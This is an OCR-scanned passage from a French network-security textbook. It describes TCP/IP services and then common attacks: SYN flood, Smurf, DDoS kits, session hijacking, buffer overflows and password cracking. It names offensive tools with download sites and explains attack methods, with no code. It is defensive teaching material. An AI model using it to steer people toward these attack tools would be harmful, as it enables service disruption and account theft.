Le protocole POP (post office protocol) permet de récupérer le courrier regu sur
un serveur distant (le serveur POP). Il est nécessaire pour les personnes n’étant pas
connectées en permanence a Internet afin de pouvoir consulter leurs mails quand
elles le veulent.
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Il existe deux principales versions de ce protocole, POP2 et POP3, auxquels sont
affectés respectivement les ports 109 et 110 et fonctionnant a I’aide de commandes
textuelles radicalement différentes.

Le protocole IMAP

Le protocole IMAP (Internet message access protocol) est un protocole alternatif
au protocole POP3 mais offrant beaucoup plus de possibilités :

— IMAP permet de gérer plusieurs accés simultanés ;
— IMAP permet de gérer plusieurs boites aux lettres ;
— IMAP permet de trier le courrier selon plus de critéres.

1.2.13.4. Le service Telnet

Le protocole Telnet est un protocole standard d’Internet permettant I’interfacage
de terminaux et d’applications a travers Internet. Ce protocole fournit les regles de
base pour permettre de relier un client (systtme composé d’un affichage et d’un
clavier) a un interpréteur de commande (c6té serveur).

Le protocole Telnet s’appuie sur une connexion TCP pour envoyer des données
au format ASCII codées sur 8 bits entre lesquelles s’intercalent des séquences de
contrdle Telnet.

Ce protocole est un protocole de base, sur lequel s’appuient certains autres
protocoles de la suite TCP/IP (FTP, SMTP, POP3...). Les spécifications de Telnet
ne mentionnent pas d’authentification car Telnet est totalement séparé des
applications qui I’utilisent (le protocole FTP définit une séquence d’authentification
au-dessus de Telnet). En outre le protocole Telnet est un protocole de transfert de
données non sdr, c’est-a-dire que les données qu’il véhicule circulent en clair sur le
réseau (de maniére non chiffrée). Lorsque le protocole Telnet est utilisé pour
connecter un hote distant a la machine sur lequel il est implémenté en tant que
serveur, ce protocole est assigné au port 23.

1.2.13.5. Le service DNS

Le service DNS (domain name service) est un systeme de base de données
répartie qui traduit les noms des machines en adresse IP et inversement. DNS
constitue également le mécanisme standard de I’ Internet pour stocker et lire d’autres
renseignements sur les machines; il diffuse des informations sur une machine
précise vers le monde entier.

Aux premiers jours de I’Internet, il était possible pour chaque site de tenir a jour
une table des hétes qui dressait la liste du nom et du numéro de chaque machine
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possible. Des millions d’hotes étant maintenant rattachés, il n’est désormais plus
possible a un quelconque site de continuer a le faire, et encore moins a tous les sites.
C’est pourquoi le DNS permet a chaque site de tenir a jour des informations sur ses
propres machines, et de trouver des renseignements sur tout autre site.

Fondamentalement, tout programme employant les noms de machines peut étre
un client DNS. Ceci comprend en fait tout programme en rapport avec les réseaux,
gue ce soient les programmes serveurs et clients de Telnet, SMTP, FTP et presque
tous les services réseaux. DNS est donc un service essentiel sur lequel se fondent les
autres. DNS fonctionne sur le port 53.

1.3. Résumé du chapitre 1

Ce chapitre introduit les réseaux locaux et particulierement les réseaux Ethernet
partagés et commutés. Il aura permis également au lecteur de maitriser le standard
des protocoles de communication des réseaux Ethernet, a savoir la série des
protocoles TCP/IP. Un administrateur averti doit savoir que les usurpations visent
principalement les TCP/IP. Il se doit donc de connaitre les protocoles de
communication en général, et les protocoles TCP/IP en particulier, afin de mieux
aborder les techniques de sécurité. Nous avons également présenté quelques services
Internet communs, a savoir les services HTTP (web), FTP, la messagerie
électronique, et Telnet. Pour approfondir le sujet, on recommande au lecteur de
consulter les nombreux livres spécialement dédiés aux réseaux locaux, aux
protocoles TCP/IP et aux services Internet.

Dans le chapitre suivant, nous allons présenter principalement quelques attaques
réseaux. Les chapitres d’aprés traiteront d’une facon approfondie I’attaque du
sniffing (une attaque qui consiste a espionner les réseaux Ethernet) ainsi que les
techniques de détection de ces activités malveillantes (les anti-sniffers). A travers
des exemples réels et concrets, nous discuterons le danger que présente le sniffing
pour la sécurité des informations des utilisateurs réseaux.
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CHAPITRE 2

Des attagues communes
sur les réseaux et les systemes

Dans ce chapitre, nous présentons quelques attaques connues contre les réseaux
et les systémes, a savoir :

— les dénis de service ;

— les détournements de session ;

— les saturations de mémoire ;

— les attaques des mots de passe ;

— I’attaque du Unicode sur les serveurs web Microsof IIS ;

— I’attaque de NetBios : acces aux fichiers partagés ;

— les falsifications des adresses IP (IP spoofing) et des e-mails ;
— les chevaux de Troie.

Dans les chapitres suivants, nous détaillerons les attaques basées sur le sniffing
des réseaux, ainsi que les attaques basées sur la manipulation malveillante du
protocole ARP. Particulierement, nous détaillerons I’attaque de la corruption du
cache ARP (ARP cache poisoning), qui permet de rediriger le trafic entre deux
machines ou de réaliser un deni de service.
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2.1. Les attaques de déni de service

Le déni de service (denial of service, DoS) est I’attaque qui bloque, pour un
utilisateur, I’accés a sa machine ou qui retarde le temps de réponse et le rend
inacceptable. Le DoS peut survenir suite a une attaque programmeée lorsqu’une
personne malveillante surcharge intentionnellement une ressource ou un systeme ;
ou accidentellement lorsqu’un utilisateur légitime, par inadvertance, déclenche une
procédure inappropriée qui rend une ressource inaccessible et non disponible. Dans
les deux cas, I’administrateur d’une entreprise se doit de prendre les mesures
nécessaires pour protéger ses machines.

La plupart des systémes d’exploitation, des routeurs, et d’autres composants
réseaux, dont le réle consiste a traiter des paquets TCP/IP, sont vulnérables a ce
genre d’attaques. En général, il est difficile de prévoir et d’éviter les attaques DoS.
Cependant, le contrdle accru des accés aux ressources et des comptes critiques ainsi
gue la protection des fichiers aux accés non autorisés peuvent empécher ou retarder
la plupart des d’attaques.

Si une personne n’arrive pas a accéder a une machine cible, elle va essayer d’en
bloquer I’acces par une attaque DoS. Ce qui implique que méme si un systeme est bien
sécurisé et mis réguliérement a jour avec les patchs anti-bugs, les risques sont réels.

2.1.1. Exemples d’attaques de déni de service

En général, il y a deux types d’attaques DoS. Le premier type consiste
simplement a planter un systéme ou un réseau. Un attaquant réalise un DoS de ce
type s’il parvient a envoyer a sa victime des données ou des paquets inattendus et/ou
mal formés, ce qui cause le plantage du systéme ou le force au redémarrage. Dés
lors, personne ne peut plus utiliser les ressources du systeme. Dans la plupart des
cas, pour remettre le systeme en route et en ligne I’intervention de I’administrateur
consiste a redémarrer le systeme. Donc, ce premier type d’attaque est le plus
préjudiciable parce qu’il est facile a réaliser par I’agresseur et exige une intervention
humaine, du c6té de la victime, pour le dépannage (le recouvrement et/ou le
redémarrage).

Le second type d’attaque consiste a inonder le systéme ou le réseau cible par un
flux d’informations tel que le systtme ou le réseau assailli se trouve dans
I’incapacité de répondre. Par exemple, si un systéme ne peut traiter que 10 paquets
par seconde, et qu’un agresseur lui en envoie 20 par seconde, les utilisateurs
légitimes seront refusés d’acceés car toutes les ressources sont occupées ou épuisées.
Avec ce type d’attaque, I’agresseur doit continuellement inonder la cible avec des
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paquets. Dés I’arrét de I’envoi des paquets, I’attaque s’arréte et le systéme reprend
son fonctionnement normal. Dans certains cas, ce type d’attaque peut planter
rapidement le systéme, mais une intervention rapide peut résoudre le probléeme.

Il est important de noter que ces deux types d’attaque peuvent étre lancés a partir
d’une machine locale appartenant au réseau local cible, ou a partir d’un autre réseau
extérieur quelconque.

Nous allons maintenant évoquer quelques attaques de déni de service pour
donner une meilleure idée sur leur principe de fonctionnement. La liste suivante
comporte quelques exemples, mais de nouvelles attaques de DoS apparaissent
pratiquement tous les jours. Nous essayons seulement de montrer la diversité des
attaques de DoS courantes et existantes a ce jour.

2.1.1.1. L’ attaque par inondation de Syn (Syn flooding)

Syn flooding signifie « inondation de Syn ». C’est une attaque qui affecte la
plupart des systemes d’exploitation en exploitant un point faible dans la connexion
TCP/IP via I’ouverture d’un nombre important de demi-connexions de TCP/IP (half-
open connections).

Tous les systémes connectés a Internet et fournissant des services basés sur des
connexions TCP (tel qu’un serveur web, un serveur FTP ou un serveur mail) sont
potentiellement exposés a ce type d’attaque. Il importe de signaler qu’en plus des
attaques lancées sur un héte spécifique, celles-ci peuvent étre lancées contre des
routeurs, des firewalls, ou autres équipements ou serveurs offrant des services TCP.

Il'y a un code source de Syn flooding gratuit et disponible dans les adresses ci-
dessous :

— code source de Synflood : www.hackersclub.com ;
— Syn flooders (Synful.c et synk4.c) : www.anticode.com.

Pour réussir son attaque Syn flooding, I’agresseur peut facilement écrire un code
spécifique ou générer des paquets avec un générateur de paquet, tel que celui du
sniffer CommView (voir chapitre 3).

Iy a deux méthodes pour lancer une attaque de type Syn flooding.

La premiére méthode, de loin la plus simple, consiste a envoyer des paquets Syn
vers une machine cible avec une adresse source falsifiée correspondant a une
machine non active. De ce fait, quand la machine cible répond, elle n’aura pas de
Vis-a-vis.
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La seconde méthode consiste a envoyer plusieurs paquets Syn a une machine
cible et a s’assurer que la machine définie dans I’adresse source de ces paquets ne
répondra jamais a tous les paquets Syn/Ack renvoyés par la machine cible (figure
2.1). Autrement dit, les accusés de réception pour I’établissement de la connexion
doivent étre ignorés. Pour ce faire, il suffit de surveiller ces paquets et de les bloquer
au niveau de la machine ou du routeur.

SV,
SV

SYNIACK,
SYNIACK,

Half open connexion
\/

L J

=

o
L
r

Figure 2.1. L attaque par inondation de Syn (Syn flooding)

Actuellement, avec la technologie courante du protocole IP, il n’existe aucune
solution a ce probleme. Cependant, une configuration des routeurs et des firewalls,
propre et adéquate, peut réduire considérablement les risques d’attaque de ce type.
Un routeur ou un firewall peut bloguer ce type d’attaque en n’autorisant qu’un
nombre limité de demi-connexions dans un état actif & un moment donné.

2.1.1.2. L’attaque du Smurf

L’agresseur envoie du trafic ICMP echo request (ping) a une adresse broadcast
d’un réseau (par exemple pour le réseau 10.50.0.0, I’adresse 10.50.255.255 est une
adresse de broadcast), en utilisant une adresse IP source falsifiée (IP-spoofed) d’une
machine victime. Ainsi, toutes les machines du réseau vont envoyer des réponses de
type ICMP echo reply, a la machine victime (figure 2.2).

Il y a trois acteurs dans cette attaque :
— le pirate ;

— un intermédiaire ;

— la victime.
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Si le routeur du réseau cible ne filtre pas le trafic ICMP, sur les adresses
broadcast, toutes les machines du réseau recevront le paquet et renverront un paquet
echo reply en retour destiné a la machine victime.

&

Agressenr

ICMF echo requoest

= IP destination= Broadcasi (12.255,255.255)
= IP source (falsifiée) = machine victime

ICMF echa raply

Figure 2.2. L attaque du Smurf

Un routeur ou un firewall peut bloguer ce type d’attaque en refusant le trafic
ICMP echo request et reply entrant et sortant. Pour éliminer la possibilité d’utiliser
son réseau comme un intermédiaire dans ce type d’attaque, le routeur ne doit pas
permettre la diffusion des paquets comportant des adresses IP de broadcast.

2.1.1.3. L attaque du Fraggle

Son mode d’attaque est analogue a celui de Smurf avec la seule différence qu’il
agit sur des paquets UDP écho. La méthode consiste a usurper I’identité d’un
intervenant dans la communication réseau et de pratiquer de nombreux ping du type
UDP écho avec I’adresse usurpée sur le routeur principal placé en bordure du sous-
réseau. Les machines de ce sous-réseau retournent I’UDP écho a la victime qui se
voit submergée de réponses et ses ressources systéemes s’amoindrir.

2.1.2. Les outils combinés de déni de service

Comme évoqué précédemment, I’objectif final des attaques de DoS est de
provoquer le refus d’acces a un réseau ou a un ordinateur, pour la seule fin de
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planter le systéme et d’épuiser toutes ses ressources de telle sorte qu’aucune
personne ne puisse les utiliser. Pour I’agresseur, la méthode et les outils de déni de
service importent peu ; ce qui prime pour lui, c’est d’atteindre son objectif : que les
acces aux utilisateurs légitimes soient refusés. Ainsi optera-t-il pour des programmes
de DoS qui multiplient les attaques jusqu’a la réussite totale.

C’est également pour cette raison qu’au lieu d’avoir un seul programme qui
procede a I’attaque du Syn flooding, puis un autre pour I’attaque du Smurf, les
concepteurs ont pensé a les rassembler dans un seul module, et parfois plusieurs
autres programmes d’attaque.

Dans ce qui suit, nous allons, a titre d’exemples, présenter Targa et Toast,
congus et utilisés pour lancer une variété d’attaque de DoS.

Targa

Ce programme, écrit par un dénommé Mixter et téléchargeable a partir de
http://packetstormsecurity.nl, utilise les codes de 8 attaques DoS et plus, assemblés
en un seul programme facile a utiliser. C’est un programme trés puissant, qui peut
causer d’énormes dégats dans le réseau d’une entreprise. Les attaques en question
sont Bonk, Jolt, Land, Nestea, Newtear, Syndrop, Teardrop, Winnuke, 1234,
Saihyousen, Oshare. L agresseur peut choisir de lancer des attaques individuelles ou
essayer toutes les attaques simultanément.

Toast

Toast est un outil intégrant un large éventail d’outils de déni de service, tels que
123, Ascend-foo, Beer, Biffit, Boink, Bonk, Coke, Conseal, Dcd3c, Fawx, Fogerc,
Geweseb, Ice, Jolt, KKkill, Koc, Kox, Kod, Pimp2, Land, Misfrag, Nestea, Newtear,
Octopus, Orgasm, Overdrop, Pepsi, Rape, Spiffit, Ssping, Syndrop, Synful, Synk4,
etc. Cet outil peut également envoyer simultanément de multiples attaques. Il est
téléchargeable a partir de http://packetstormsecurity.nl.

2.1.3. L attaque de déni de service distribué

2.1.3.1. Le principe

Avec un DosS traditionnel, une machine attaque normalement une seule machine
victime. Cependant, depuis I’an 2000, un nouveau type d’attaque est initié ; le déni
de service distribué (distributed denial of service, DDoS). L’agresseur accéde a
plusieurs machines ou s’associe avec plusieurs complices afin de lancer une attaque
massive contre une machine ou un réseau. Donc, I’attaque ne provient plus d’une
machine unique mais de plusieurs (figure 2.3). Ainsi est-il trés difficile de se
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défendre contre ce type d’agression, parce que la machine cible recoit simultanément
plusieurs paquets de sources différentes.

Etant donné que ces attaques proviennent de plusieurs plages d’adresses IP, il est
plus difficile de les détecter et de les bloquer. En effet, un nombre limité de paquets
provenant des diverses machines peut échapper aux contrdles et aux détections des
radars du systéme de détection d’intrusion. Si une simple adresse IP est en train
d’attaquer une entreprise, tous les paquets contenant cette adresse IP source peuvent
étre blogués par le firewall de I’entreprise. S’il s’agit d’une centaine de machines, le
blocage est alors extrémement difficile.

Figure 2.3. Le principe de I’attaque de déni de service distribué (DDoS)

2.1.3.2. Les outils de déni de service distribués

Il existe malheureusement un nombre trés important d’outils disponibles sur
Internet pour mener des attaques de déni de service distribués. Plusieurs sont
disponibles a la seule adresse suivante : http://packetstormsecurity.nl.

Les outils suivants sont les plus connus : Trinoo, Tribal Flood Network (TFN),
Stacheldraht, Shaft, Tribal flood network 2000 (TFN2K), et Mstream. Tous
présentent les mémes fonctionnalités concernant le lancement des attaques DoS.
Dans ce paragraphe, nous détaillerons en premier TFN2K qui nous semble
intéressant car il est complet en termes de fonctionnalités et de possibilités. Puis
nous découvrirons successivement Trinoo, Stacheldraht et Mstream. Ce dernier, bien
qu’il soit I’'un des plus récents programmes annoncés, la liste de ses fonctions est
limitée mais il est capable de réaliser les mémes types d’attaques que TFN2K.
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Tribal flood network 2000 (TFN2K)

TFN2K peut étre considéré comme une version améliorée de Targa. Il a été écrit
par le méme mixter, et peut étre téléchargé a partir du site : http://packetstormsecurity.nl.
Il réalise les mémes attaques que celles de Targa et d’autres types de DoS. En plus,
il est capable de réaliser des attaques de déni de service distribuées. 1l est discret car
il utilise ICMP et donc n’a pas de port a détecter dans la machine compromise.

Trinoo

Trinoo est I’un des premiers outils et, de ce fait, présente des fonctionnalités
limitées en comparaison de TFN2K. Il utilise les protocoles TCP et UDP. Sur un
réseau utilisant réguliérement un scanner des ports, on peut facilement détecter sa
présence. En aolt 1999, un réseau de 200 ordinateurs exécutant Trinoo a été a
I’origine du crash qui a provoqué la panne du réseau de I’université de Minnesota, et
ce durant deux jours.

Stacheldraht

Stacheldraht est un autre outil d’attaque de DDoS qui combine les fonctions de
TFN2K et de Trinoo, et qui intégre d’autres fonctionnalités telles que le cryptage des
communications entre les components. Stacheldraht utilise TCP et ICMP pour
communiquer.

2.1.3.3. Les outils de déni de service du marché

Les scanners du commerce, tels que CyberCop Scanner (http://www.nai.com) et
ISS Internet Scanner (http://www.iss.net), vérifient la sensibilité d’une cible vis-a-
vis des conditions et des environnements de déni de service. Les administrateurs
préférent utiliser ces outils d’une part parce qu’ils permettent de scanner les hétes et
les réseaux et d’autre part parce qu’ils ne sont pas considérés comme des outils de
piratage. Il est recommandé de les utiliser en dehors des heures d’exploitation
réelles, car des cas réels de DoS et de plantage ont été enregistrés durant les phases
de test.

CyberCop Scanner

CyberCop Scanner (www.nai.com) est un produit commercial qui revendique la
réalisation de plus que 40 attaques de déni de service. Toutes les potentialités
d’attaque disponibles de [I’outil peuvent étre exécutées simultanément ou
individuellement. L’outil présente une description de I’attaque ainsi qu’une
proposition de contre-mesures.
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ISS Internet Scanner

Comme CyberCop, ISS Internet Scanner (www.iss.net) scanne les hotes pour
déterminer si ces derniers sont propices aux attaques de DoS. Par exemple, la
version 6.2.1 de ISS Internet Scanner peut réaliser 128 attaques de DoS (figure 2.4),
avec des éléments communs a CyberCop. ISS Internet Scanner fournit plus
d’information sur les attaques que CyberCop Scanner et un meilleur travail quant a
la catégorisation des attaques par ciblel, ainsi que des descriptions et des contre-
mesures pour les divers types d’attaques DoS.

oo 155 Internet Scanner
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Figure 2.4. La version 6.2.1 de ISS Internet Scanner réalise 128 attaques de DoS
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1. Par exemple pour les serveurs de DNS, les serveurs FTP, les firewalls, etc.
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2.2. Le détournement de session

2.2.1. Les attaques de détournement de session

Le détournement de session est un processus de prise de contréle d’une
session active. Le but de cette manceuvre est double: (i) éviter le processus
d’authentification et (ii) pouvoir accéder a une machine. En principe, apres la
connexion et I’authentification, un utilisateur légitime accéde au serveur, et tant
gu’il demeure connecté, il n’est pas tenu de s’identifier de nouveau. Cette
authentification originale est valable et suffisante tout au long de la session quelle
gu’en soit la durée. Cet état de fait laisse la porte ouverte a la prise de contréle de la
session, car I’agresseur peut inhiber I’utilisateur (par exemple par une attaque de
déni de service). Il n’a plus qu’a se faire passer pour I’utilisateur Iégitime et accéder
au serveur sans étre authentifie.

Avec le détournement de session, un agresseur peut simplement surveiller le
trafic d’une session, ou en enregistrer tout le trafic s’il le souhaite. Il peut aussi y
injecter périodiquement des commandes et, a sa guise, procéder a deux types
d’offensives : les attaques actives et les attaques passives.

Une attaque est dite active quand un agresseur arrive a détourner une session
malgré une authentification forte, a condition bien évidemment que la communication
qui suit I'authentification initiale ne soit pas cryptée. Plusieurs entreprises se croient,
a tort, en sécurité avec la seule technique d’authentification one-password (a mot de
passe unique). Cependant, comme les sessions Telnet et FTP ne sont pas cryptées,
un agresseur est capable de détourner les sessions en utilisant un outil de détournement
de session?. Quand la victime d’une attaque de détournement de session est déconnectée,
elle impute cela le plus souvent a un probléme de réseaux et tente une nouvelle
connexion, mais en vain.

L’attaque passive est le plus souvent représentée par la falsification des adresses IP
(spoofing). Plutdt que de déconnecter sa victime comme dans une attaque active,
I’agresseur fait semblant d’étre un autre utilisateur ou une autre machine pour obtenir
un accés. Quand I’agresseur est en train de réaliser son attaque de spoofing, la victime
peut étre chez elle ou en vacances, I’utilisateur réel ne joue aucun réle dans ce type
d’attaque. Par conséquent, I’agresseur n’est pas activement en train de lancer une
attaque contre une session active ouverte par un utilisateur légitime. Lors d’une
attaque active, I’agresseur prend le contrdle d’une session active, ce qui veut dire qu’il
compte sur I’établissement d’une connexion et sur I’authentification d’un utilisateur

2. Voir plus bas, paragraphe 2.2.2.
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légitime. Puis, des que I’opportunité se présente, il prendra le contrdle total de la
session. Ceci est réalisé par la déconnexion compléte de I’ utilisateur légitime.

Le détournement de sessions est trés dangereux pour plusieurs raisons. La
principale est que ce type d’attaque est indépendant du systeme d’exploitation. Quel
que soit le systéeme utilisé, dés qu’il parvient a établir une connexion TCP/IP,
I’agresseur peut détourner la session visée. Le détournement pourrait étre utilisé non
seulement pour capturer des informations sensibles et des mots de passe mais aussi
pour accéder a une machine et la compromettre.

2.2.2. Les outils de détournement de session

En théorie, le détournement de session est trés complexe. Et pour réaliser
manuellement son attaque, en plus de la durée que cela exige, I’agresseur doit étre
hautement qualifié en technologie des réseaux et des systemes. Malheureusement, la
tache est rendue trés simple a réaliser méme pour des novices grdce a des
programmes congus pour la cause et présentant de surcroit des interfaces graphiques
conviviales. Un agresseur n’a méme pas besoin de maitriser la théorie et le
fonctionnement du détournement de session. S’il a une cible en vue et s’il posséde
ce genre de programmes, il peut détourner une session comme un vrai professionnel.

Voici quelques exemples d’outils de détournement de session disponibles sur
Internet :

— Juggernaut : c’est un sniffer utilisé pour détourner une session TCP et
disponible a I’adresse : http://packetstormsecurity.nl. Il peut étre configuré pour
observer tout le trafic dans un réseau. Des mots-clés pourraient lui étre fournis afin
qu’il capture les sessions contenant ces mots-clés. Par exemple, un mot-clé type peut
étre le mot « login ». Dés que Juggernaut découvre ce mot-clé, il capture la session,
ce qui veut dire qu’un agresseur peut capturer le mot de passe d’un utilisateur lors de
la phase d’authentification. En utilisant cet outil, un agresseur peut observer toutes
les sessions et choisir celle qu’il va détourner ;

— Hunt : c’est un programme utilisé pour écouter, intercepter, et détourner une
session active dans un réseau. 1l est disponible a I’adresse : http://packetstormsecurity.nl.
Hunt est plus récent que Juggernaut avec lequel il partage les mémes concepts mais
avec certaines améliorations ;

— TTY-Watcher : c’est un programme qui permet de surveiller et de détourner
des connexions. Il est la version gratuite de I’outil IP-Watcher décrit ci-dessous.
(http://www.engarde.com) ;

— IP-Watcher : c’est un outil commercial de détournement de session qui permet
de surveiller les connexions. Il possede des parades pour le détournement de session.
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Il est basé sur TTY-Watcher, mais fournit plus de fonctionnalités. IP-Watcher peut
surveiller un réseau entier alors que TTY-Watcher ne peut surveiller qu’un seul héte
(http://www.engarde.com).

2.3. Les attaques par saturation de mémoire

Les attaques par saturation de mémoire (buffer overflow) sont extrémement
connues de nos jours et permettent d’accéder a une machine vulnérable et d’obtenir
un degré significatif de controle.

Une attaque de buffer overflow est réalisée quand un agresseur essaye et réussit a
mettre un volume d’informations conséquent dans une trop petite zone de mémoire.
Une éventualité connue et souvent réalisée quand I’utilisateur d’un programme
fournit plus de données que la capacité de stockage prévue par le concepteur du dit
programme.

Un buffer overflow tire avantage essentiellement des applications qui ne peuvent
traiter adéquatement les données en entrées. C’est le bourrage d’informations. Les
programmes qui ne vérifient pas au préalable les bornes sont trés nombreux et par
conséquent, sont tres vulnérables a ce type d’attaques.

Tous les systémes d’exploitation et applications qui sont concus a la légére
seraient vulnérables aux attaques du buffer overflow. En exploitant un systeme ou
une application vulnérable, un agresseur peut exécuter des commandes arbitraires
sur la machine cible. De ce fait, I’attaquant pourrait prendre le controle total de la
machine, ce qui revient a ajouter un compte, changer des mots de passe, modifier la
configuration du systeme, etc.

Buffer overflow peut causer des attaques de deni de service (DoS) et des attaques
contre I’intégrité des données, par I’exécution de codes arbitraires qui modifieraient
des données. Alors que la lecture des données sensibles constitue déja une violation
de la confidentialité.

2.3.1. La recherche des vulnérabilités de saturation de mémoire

La plupart des attaques de buffer overflow sont réalisées par des enfants ou par
des pirates débutants qui, en général, ne comprennent pas comment leurs outils
d’attaques fonctionnent. lls scannent d’abord leurs cibles avec un scanner
automatique pour détecter ses vulnérabilités. Ensuite, ils téléchargent le code de
I’attaque écrit par une autre personne et dirigent le code vers la cible. Ce code est en
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général écrit par des personnes ayant une grande expérience, aussi bien dans la
découverte de programmes vulnérables que dans la création de codes d’attaque.

Ces personnes expérimentées procedent des analyses détaillées des programmes
en cherchant les preuves que certaines fonctions n’appliquent pas la vérification des
bornes de leurs variables locales. Si I’agresseur posséde le code source du
programme ou le programme lui-méme, il peut rechercher et localiser plusieurs
fonctions connues et utilisées qui n’exécutent pas de Vvérification concernant les
limites ou les bornes acceptables.

2.3.2. Les différents types d’attaque de saturation de mémoire

Le type d’attaque le plus simple de buffer overflow est de planter la machine. Ces
attaques fonctionnent par I’insertion d’un volume conséquent de données dans la
mémoire, ce qui cause la réécriture de parties de la mémoire déja allouées. 1l faut se
rappeler que des informations importantes comme les données du systéme
d’exploitation résident dans la mémoire pour qu’on puisse y accéder rapidement, en
assurant le bon fonctionnement et la rapidité du systeme d’exploitation.

Avec une attaque de buffer overflow, si d’autres informations non appropriées
sont réinscrites dans la mémoire, le systéme ne pourra plus fonctionner correctement
et finira par se planter. Il faut dés lors redémarrer le systéme sinon tous les services
seront interrompus. La situation est plus grave quand le systéme est un serveur.

L’autre type d’attaque de buffer overflow est I’exécution des codes que
I’agresseur a introduits dans la machine victime. Puisque I’attague consiste a mettre
un énorme volume d’informations dans la mémoire, un agresseur attentif et malin
pourrait réécrire suffisamment d’informations utiles pour lui et garder le contrdle du
pointeur des instructions a exécuter. Ce faisant, il peut forcer le pointeur a pointer
vers les codes destructeurs ou mal intentionnés qu’il a personnellement élaborés a la
place des programmes en cours d’exécution. Les finalités de ces codes pourraient
étre anodines : par exemple I’impression des mots de passe, leurs modifications ou
la création de nouveaux comptes.

2.4. Les attaques des mots de passe

Dans la plupart des entreprises et chez les particuliers, I’utilisation des mots de
passe est la procédure la plus usuelle concernant la sécurité des systéemes
d’information. Malheureusement, les mots de passe constituent trés souvent le
maillon faible de la sécurité des systémes contrairement a I’idée trés répandue qu’un
systeme protégé par un mot de passe est quasi inviolable.
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Dans la majorité des cas, les utilisateurs choisissent eux-mémes des mots de
passe faciles a retenir, mais également faciles a deviner par le pirate. Si ce dernier
parvient a obtenir le mot de passe, il peut accéder aux informations sensibles et
mettre le systeme en péril.

2.4.1. Probléme des mots de passe par défaut

Souvent, les applications ou les systemes d’exploitation sont fournis avec des
mots de passe par défaut. Par crainte de les oublier, par paresse ou parce qu’ils sont
submergés de travail, certains administrateurs les notent dans un fichier. Pour le
pirate, dénicher ce fichier est une tache relativement aisée. De plus, plusieurs bases
de données proposent, pour différentes plates-formes, des mots de passe. Elles sont
publiées, entre autres, a I’adresse http://security.nerdnet.com.

2.4.2. L’obtention des mots de passe par script

Pour obtenir le mot de passe, le pirate écrit tout simplement un script qui
s’exécute sur sa propre machine. Ce programme script essaie, a travers le réseau, de
se connecter & la machine de la victime d’une fagon répétitive. Le pirate configurera
le script en se présentant comme un utilisateur usuel probable.

L’agresseur peut aussi envoyer des scripts présentant, sous forme de boite de
dialogue des web, une requéte demandant le nom de I’utilisateur et son mot de
passe ; puis ces informations sont renvoyées chez lui une fois obtenues. Diverses
autres méthodes peuvent étre aussi utilisées. Si le succés n’est pas obtenu, le pirate
réitere ces opérations jusqu’a ce qu’il obtienne gain de cause.

Alors que certains pirates écrivent leurs scripts, d’autres utilisent des outils de
recherche de mots de passe, tels que :

— Brute_ssl et brute_web : ces outils essayent d’obtenir des mots de passe pour
I’authentification http et/ou https (http sécurisé). lls sont disponibles a I’adresse :
http://packetstormsecurity.org ;

— Authforce : essaye d’obtenir des mots de passe en se connectant a un serveur
web (pour I’authentification http) et est disponible a I’adresse : http://kapheine.hypa.
net/authforce/index.php ;

— Somarsoft : un outil pour obtenir des mots de passe sous Windows NT
disponible a : http://packetstormsecurity.org ;
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— Hypnopaedia : un outil pour des e-mails utilisant le protocole POP3 disponible
a I’adresse : http://packetstormsecurity.com ;

— THC-login Hacker : un outil puissant pour obtenir des logins, téléchargeable a
I’adresse : http://packetstormsecurity.nl/groups/thc/the-Ih11.zip.

Sur le site PacketStorm (http://packetstormsecurity.com/Crackers), il existe aussi
plusieurs outils de recherche et d’essai des mots de passe.

L’obtention des mots de passe par la démarche du script est trés longue mais
pour parvenir a leur fin, le temps passé importe peu pour les pirates.

A part le probléme de durée, il y a aussi les limites des techniques et la charge
successive vers la cible qui peut générer un volume de trafic anormal détectable par
I’administrateur ou par un systeme de détection d’intrusion.

Pour faire face a ce genre d’attaque, il suffit d’avoir un compte blogqué. En effet
certains systéemes sont configurés de telle sorte que si un nombre de mots de passe
incorrects sont entrés, le compte de I’utilisateur se bloque.

Dés lors, les essais du pirate sont détectés ou significativement ralentis. Le
principe de limitation du nombre des mots de passe est donc un moyen fiable face a
ces attaques basées sur I’écriture de scripts. Cependant, rien n’empéchera le pirate
de procéder a une attaque de déni de service pour tout bloguer.

2.4.3. Le craquage et le stockage des mots de passe

En général, I’obtention des mots de passe par défaut ne réussit pas souvent. La
démarche du script, nous venons de le voir, exige du pirate un certain temps qui
risque de le faire repérer. Une méthode pour éviter ces inconvénients consiste
carrément a craquer les mots de passe. Pour comprendre le processus de craquage, il
importe de savoir au préalable comment les mots de passe sont stockés dans la
plupart des systémes.

Quel que soit le systeme d’exploitation, quand on connecte a un élément
physique, un ID (identifiant d’utilisateur ou login) et un mot de passe sont exigés
pour I’authentification. Le systéme vérifie si ces informations sont valables avant de
prendre la décision de laisser logger ou pas. La décision est basée sur la
comparaison des éléments d’un fichier de mots de passe local avec le mot de passe
entré. Malheureusement le fichier de mots de passe des utilisateurs posséde souvent
une sécurité insuffisante et non fiable. Un pirate ayant accés a ce fichier pourrait
alors se substituer a n’importe quel utilisateur et se logger.
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Pour faire face a ce probleme, les concepteurs des systémes ont décidé
d’appliquer la cryptographie pour la protection du fichier des mots de passe. Dés
lors ce fichier contient les identifiants des utilisateurs et leurs mots de passe hachés
ou cryptés. Quelques systémes utilisent purement I’algorithme DES (data encryption
standard) qui exige une clé. D’autres utilisent le MD4 (message digest 4), une
fonction qui compacte et transforme les mots de passe. De ce fait, grace a ces
systemes, le pirate ne pourra plus obtenir en clair les mots de passe.

2.4.4. Les techniques de craquage des mots de passe

Le craquage des mots de passe consiste a voler les mots de passe codés et
essayer de les décoder en utilisant un outil automatique. Ce processus applique la
démarche bouclée suivante :

— créer un mot de passe présuppose ;
— executer le codage de ce mot de passe ;
— comparer le résultat précédemment obtenu avec le mot codé volé ;

—si le résultat est le méme alors on obtient le mot de passe, sinon on
recommence |’opération.

Pour craquer les mots de passe, le pirate suit la méthode décrite ci-dessus. Dans
son optique, ce processus est fantastique car il peut travailler tranquillement chez lui
et n’utilise pas la machine de la victime. Pour ce faire, il suffit de voler le fichier
crypté des mots de passe puis de travailler a son aise depuis sa machine ou depuis
une plate-forme qui lui convient. Ceci est donc plus pratique et plus rapide que la
démarche du script.

2.4.4.1. Attaque des dictionnaires

Un outil de craquage des mots de passe peut engendrer des mots de passe
présupposés de maniéres différentes. Comme la plupart des gens utilisent un
dictionnaire commun des mots de passe, lancer une attaque des dictionnaires pourrait
étre un bon départ. Ce type d’attaque prend en compte un fichier qui contient la
plupart des mots courants d’un dictionnaire et les utilise pour deviner les vrais mots
de passe des utilisateurs. Bien entendu si le mot de passe cible n’est pas dans le
